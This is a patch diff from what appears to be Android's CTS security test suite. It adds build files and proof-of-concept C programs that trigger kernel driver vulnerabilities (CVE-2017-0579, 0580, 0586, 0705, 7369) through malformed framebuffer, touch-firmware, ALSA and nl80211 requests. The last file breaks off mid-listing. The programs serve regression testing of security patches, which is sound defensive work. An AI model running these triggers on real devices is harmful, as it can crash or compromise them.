+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
new file mode 100644
index 0000000..5bf4329
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/ioctl.h>
+#include <linux/fb.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define MSMFB_IOCTL_MAGIC 'm'
+#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
+
+int call_ioctl(int file_desc, unsigned long request, void* param)
+{
+    int ret_val;
+
+    ret_val = ioctl(file_desc,  request, param);
+
+    if (ret_val < 0) {
+	return ret_val;
+    }
+    return ret_val;
+}
+
+int test_mdss_msm_fb(int file_desc)
+{
+    int ret_val;
+    unsigned char* buf = malloc(0x100);
+    struct fb_cursor cursor;
+
+    memset(&cursor, 0, sizeof(struct fb_cursor ));
+
+    cursor.set = FB_CUR_SETIMAGE;
+    cursor.enable = 1;
+    cursor.rop = 0;
+    cursor.mask = 0;
+    cursor.hot.x = 0x100;
+    cursor.hot.y = 0x100;
+    cursor.image.dx = 1439;
+    cursor.image.dy = 2559;
+    cursor.image.width = 0x1000;
+    cursor.image.height = 0x1000;
+    cursor.image.fg_color = 0xff;
+    cursor.image.bg_color = 0xff00;
+    cursor.image.depth = 32;
+    cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
+
+    ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
+    if(ret_val < 0) {
+	return ret_val;
+    }
+
+    free((void *)cursor.image.data);
+    free(buf);
+
+    return ret_val;
+}
+
+int main()
+{
+    int file_desc, ret_val;
+    const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
+
+    file_desc = open(DEVICE_FILE_NAME, 0);
+    if (file_desc < 0) {
+	return -1;
+    }
+
+    test_mdss_msm_fb(file_desc);
+
+    close(file_desc);
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
new file mode 100644
index 0000000..6350b07
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0580
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
new file mode 100644
index 0000000..0cf518a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+struct firmware {
+    size_t size;
+    const uint8_t *data;
+    void **pages;
+    void *priv;
+};
+
+#define TOUCH_FWU_IOCTL_CODE (0x81)
+#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
+#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
+#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
+#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
+#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
+
+void ioctl_modify_size_big(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_FILE_SIZE , 0xffff );
+	ioctl(fd, FW_LOAD_DONE , 0);
+    }
+}
+
+void ioctl_modify_size_small(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_FILE_SIZE , 0xf );
+	ioctl(fd, FW_LOAD_DONE , 0);
+    }
+}
+
+void ioctl_FW_UPDATE_PROCCESS(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_UPDATE_PROCCESS , 0);
+    }
+}
+
+
+int main()
+{
+    pid_t pid = fork();
+    if (pid < 0) {
+	return -1;
+    }
+
+    if (0 == pid) {
+	ioctl_modify_size_big();
+    }
+    else {
+	pid_t pid1 = fork();
+	if (0 == pid1) {
+	    ioctl_modify_size_small();
+	}
+	else {
+	    ioctl_FW_UPDATE_PROCCESS();
+	}
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
new file mode 100644
index 0000000..393bf6c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0586
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
new file mode 100644
index 0000000..6e57c93
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_ctl_elem_id {
+    unsigned int numid;
+    snd_ctl_elem_iface_t iface;
+    unsigned int device;
+    unsigned int subdevice;
+    unsigned char name[44];
+    unsigned int index;
+};
+
+struct snd_aes_iec958 {
+    unsigned char status[24];
+    unsigned char subcode[147];
+    unsigned char pad;
+    unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_value {
+    struct snd_ctl_elem_id id;
+    unsigned int indirect: 1;
+    union {
+	union {
+	    long value[128];
+	    long *value_ptr;
+	} integer;
+	union {
+	    long long value[64];
+	    long long *value_ptr;
+	} integer64;
+	union {
+	    unsigned int item[128];
+	    unsigned int *item_ptr;
+	} enumerated;
+	union {
+	    unsigned char data[512];
+	    unsigned char *data_ptr;
+	} bytes;
+	struct snd_aes_iec958 iec958;
+    } value;
+    struct timespec tstamp;
+    unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+    int fd;
+    int ret;
+    void *map;
+    struct snd_ctl_elem_value arg;
+
+    fd = open("/dev/snd/controlC0", O_RDWR);
+    if(fd < 0){
+	return -1;
+    }
+
+    arg.id.numid = 148;
+    arg.value.enumerated.item[0] = 528;
+
+    ret = ioctl(fd,0xc4c85513,&arg);
+    if(ret < 0){
+	return -1;
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
new file mode 100644
index 0000000..bbde6e2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0705
+LOCAL_SRC_FILES := poc.c
+LOCAL_SHARED_LIBRARIES := libnl
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
new file mode 100644
index 0000000..8d48434
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
@@ -0,0 +1,257 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <unistd.h>
+#include <signal.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+
+#include <netlink/netlink.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <net/if.h>
+#include <linux/nl80211.h>
+
+#define OUI_GOOGLE  0x001A11
+#define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
+#define F1_32 0x41414141
+#define WL_CHANSPEC_BW_80               0x2000
+
+enum wl_vendor_subcmd {
+    BRCM_VENDOR_SCMD_UNSPEC,
+    BRCM_VENDOR_SCMD_PRIV_STR,
+    GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
+    GSCAN_SUBCMD_SET_CONFIG,
+    GSCAN_SUBCMD_SET_SCAN_CONFIG,
+    GSCAN_SUBCMD_ENABLE_GSCAN,
+    GSCAN_SUBCMD_GET_SCAN_RESULTS,
+    GSCAN_SUBCMD_SCAN_RESULTS,
+    GSCAN_SUBCMD_SET_HOTLIST,
+    GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
+    GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
+    GSCAN_SUBCMD_GET_CHANNEL_LIST,
+    ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
+    ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
+    ANDR_WIFI_RANDOM_MAC_OUI,
+    ANDR_WIFI_NODFS_CHANNELS,
+    ANDR_WIFI_SET_COUNTRY,
+    GSCAN_SUBCMD_SET_EPNO_SSID,
+    WIFI_SUBCMD_SET_SSID_WHITELIST,
+    WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
+    WIFI_SUBCMD_ENABLE_LAZY_ROAM,
+    WIFI_SUBCMD_SET_BSSID_PREF,
+    WIFI_SUBCMD_SET_BSSID_BLACKLIST,
+    GSCAN_SUBCMD_ANQPO_CONFIG,
+    WIFI_SUBCMD_SET_RSSI_MONITOR,
+    RTT_SUBCMD_SET_CONFIG = 0x1100,
+    RTT_SUBCMD_CANCEL_CONFIG,
+    RTT_SUBCMD_GETCAPABILITY,
+    LSTATS_SUBCMD_GET_INFO = 0x1200,
+    DEBUG_START_LOGGING = 0x1400,
+    DEBUG_TRIGGER_MEM_DUMP,
+    DEBUG_GET_MEM_DUMP,
+    DEBUG_GET_VER,
+    DEBUG_GET_RING_STATUS,
+    DEBUG_GET_RING_DATA,
+    DEBUG_GET_FEATURE,
+    DEBUG_RESET_LOGGING,
+    WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
+    WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
+    /* Add more sub commands here */
+    VENDOR_SUBCMD_MAX
+};
+
+enum debug_attributes {
+    DEBUG_ATTRIBUTE_GET_DRIVER,
+    DEBUG_ATTRIBUTE_GET_FW,
+    DEBUG_ATTRIBUTE_RING_ID,
+    DEBUG_ATTRIBUTE_RING_NAME,
+    DEBUG_ATTRIBUTE_RING_FLAGS,
+    DEBUG_ATTRIBUTE_LOG_LEVEL,
+    DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
+    DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
+    DEBUG_ATTRIBUTE_FW_DUMP_LEN,
+    DEBUG_ATTRIBUTE_FW_DUMP_DATA,
+    DEBUG_ATTRIBUTE_RING_DATA,
+    DEBUG_ATTRIBUTE_RING_STATUS,
+    DEBUG_ATTRIBUTE_RING_NUM
+};
+
+
+enum gscan_attributes {
+    GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
+    GSCAN_ATTRIBUTE_BASE_PERIOD,
+    GSCAN_ATTRIBUTE_BUCKETS_BAND,
+    GSCAN_ATTRIBUTE_BUCKET_ID,
+    GSCAN_ATTRIBUTE_BUCKET_PERIOD,
+    GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
+    GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
+    GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
+    GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
+    GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
+    GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
+    GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
+    GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
+    GSCAN_ATTRIBUTE_FLUSH_FEATURE,
+    GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
+    GSCAN_ATTRIBUTE_REPORT_EVENTS,
+    /* remaining reserved for additional attributes */
+    GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
+    GSCAN_ATTRIBUTE_FLUSH_RESULTS,
+    GSCAN_ATTRIBUTE_SCAN_RESULTS,                       /* flat array of wifi_scan_result */
+    GSCAN_ATTRIBUTE_SCAN_ID,                            /* indicates scan number */
+    GSCAN_ATTRIBUTE_SCAN_FLAGS,                         /* indicates if scan was aborted */
+    GSCAN_ATTRIBUTE_AP_FLAGS,                           /* flags on significant change event */
+    GSCAN_ATTRIBUTE_NUM_CHANNELS,
+    GSCAN_ATTRIBUTE_CHANNEL_LIST,
+    /* remaining reserved for additional attributes */
+    GSCAN_ATTRIBUTE_SSID = 40,
+    GSCAN_ATTRIBUTE_BSSID,
+    GSCAN_ATTRIBUTE_CHANNEL,
+    GSCAN_ATTRIBUTE_RSSI,
+    GSCAN_ATTRIBUTE_TIMESTAMP,
+    GSCAN_ATTRIBUTE_RTT,
+    GSCAN_ATTRIBUTE_RTTSD,
+    /* remaining reserved for additional attributes */
+    GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
+    GSCAN_ATTRIBUTE_RSSI_LOW,
+    GSCAN_ATTRIBUTE_RSSI_HIGH,
+    GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
+    GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
+    /* remaining reserved for additional attributes */
+    GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
+    GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
+    GSCAN_ATTRIBUTE_MIN_BREACHING,
+    GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
+    GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
+    /* EPNO */
+    GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
+    GSCAN_ATTRIBUTE_EPNO_SSID,
+    GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
+    GSCAN_ATTRIBUTE_EPNO_RSSI,
+    GSCAN_ATTRIBUTE_EPNO_FLAGS,
+    GSCAN_ATTRIBUTE_EPNO_AUTH,
+    GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
+    GSCAN_ATTRIBUTE_EPNO_FLUSH,
+    /* Roam SSID Whitelist and BSSID pref */
+    GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
+    GSCAN_ATTRIBUTE_NUM_WL_SSID,
+    GSCAN_ATTRIBUTE_WL_SSID_LEN,
+    GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
+    GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
+    GSCAN_ATTRIBUTE_NUM_BSSID,
+    GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
+    GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
+    GSCAN_ATTRIBUTE_BSSID_PREF,
+    GSCAN_ATTRIBUTE_RSSI_MODIFIER,
+    /* Roam cfg */
+    GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
+    GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
+    GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
+    GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
+    GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
+    GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
+    GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
+    GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
+    /* BSSID blacklist */
+    GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
+    GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
+    GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
+    GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
+    GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
+    GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
+    GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
+    GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
+    /* Adaptive scan attributes */
+    GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
+    GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
+    GSCAN_ATTRIBUTE_MAX
+};
+
+
+#define ETHER_ADDR_LEN 6
+struct  __attribute__ ((packed)) _ether_addr {
+    uint8_t octet[ETHER_ADDR_LEN];
+};
+
+static int l1;
+static int l2;
+static void test(struct nl_sock *socket, int d_id, int if_index)
+{
+    struct nl_msg *msg;
+    struct nl_cb *cb;
+    struct nl_msg *vendor_cmd, *nested_msg;
+    struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
+    int err, i, j = 0, k = 0,  ret;
+    struct _ether_addr mac;
+    memset(&mac, 0x41, sizeof(mac));
+
+    // Allocate the messages and callback handler.
+    for (j = l1; j < 1024; j++) {
+        for(k = l2; k < 128; k++) {
+            msg = nlmsg_alloc_size(16384);
+            if (!msg) {
+                exit(EXIT_FAILURE);
+            }
+
+            genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
+            nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+            nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
+            nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
+            nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
+            nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);
+
+            /* construct the vendor cmd */
+            nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+            nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
+            for (i = 0; i < j; i++) {
+                nested2 = nla_nest_start(msg, i);
+                nla_nest_end(msg, nested2);
+            }
+            for (i = 0; i < k; i++) {
+                nested2 = nla_nest_start(msg, i);
+                nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
+                nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
+                nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
+                nla_nest_end(msg, nested2);
+            }
+            nla_nest_end(msg, nested);
+            nla_nest_end(msg, nl_vendor_cmds);
+
+            nl_send_auto_complete(socket, msg);
+            nlmsg_free(msg);
+        }
+    }
+}
+
+int main(int argc, char **argv)
+{
+    int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
+    l1 = 157;
+    l2 = 0;
+    // Open socket to kernel.
+    struct nl_sock *socket = nl_socket_alloc();  // Allocate new netlink socket in memory.
+    genl_connect(socket);  // Create file descriptor and bind socket.
+    int driver_id = genl_ctrl_resolve(socket, "nl80211");  // Find the nl80211 driver ID.
+
+    test(socket, driver_id, if_index);
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
new file mode 100644
index 0000000..9d1d3d17
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-7369
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.c
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
new file mode 100644
index 0000000..c18936c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
@@ -0,0 +1,236 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/ptrace.h>
+#include <errno.h>
+#include <sys/syscall.h>
+#include <sys/prctl.h>
+#include <stdint.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <linux/fb.h>
+#include <dlfcn.h>
+#include <sys/socket.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <unistd.h>
+#include <sound/asound.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAXNUM 94
+#define MAXPCMOP 25
+#define MAXELE 16384
+
+char* CONTBL[MAXNUM]={
+    "comprC0D17",
+    "comprC0D18",
+    "comprC0D37",
+    "comprC0D38",
+    "comprC0D39",
+    "comprC0D40",
+    "comprC0D41",
+    "comprC0D42",
+    "comprC0D9",
+    "controlC0",
+    "hwC0D10",
+    "hwC0D1000",
+    "hwC0D11",
+    "hwC0D12",
+    "hwC0D13",
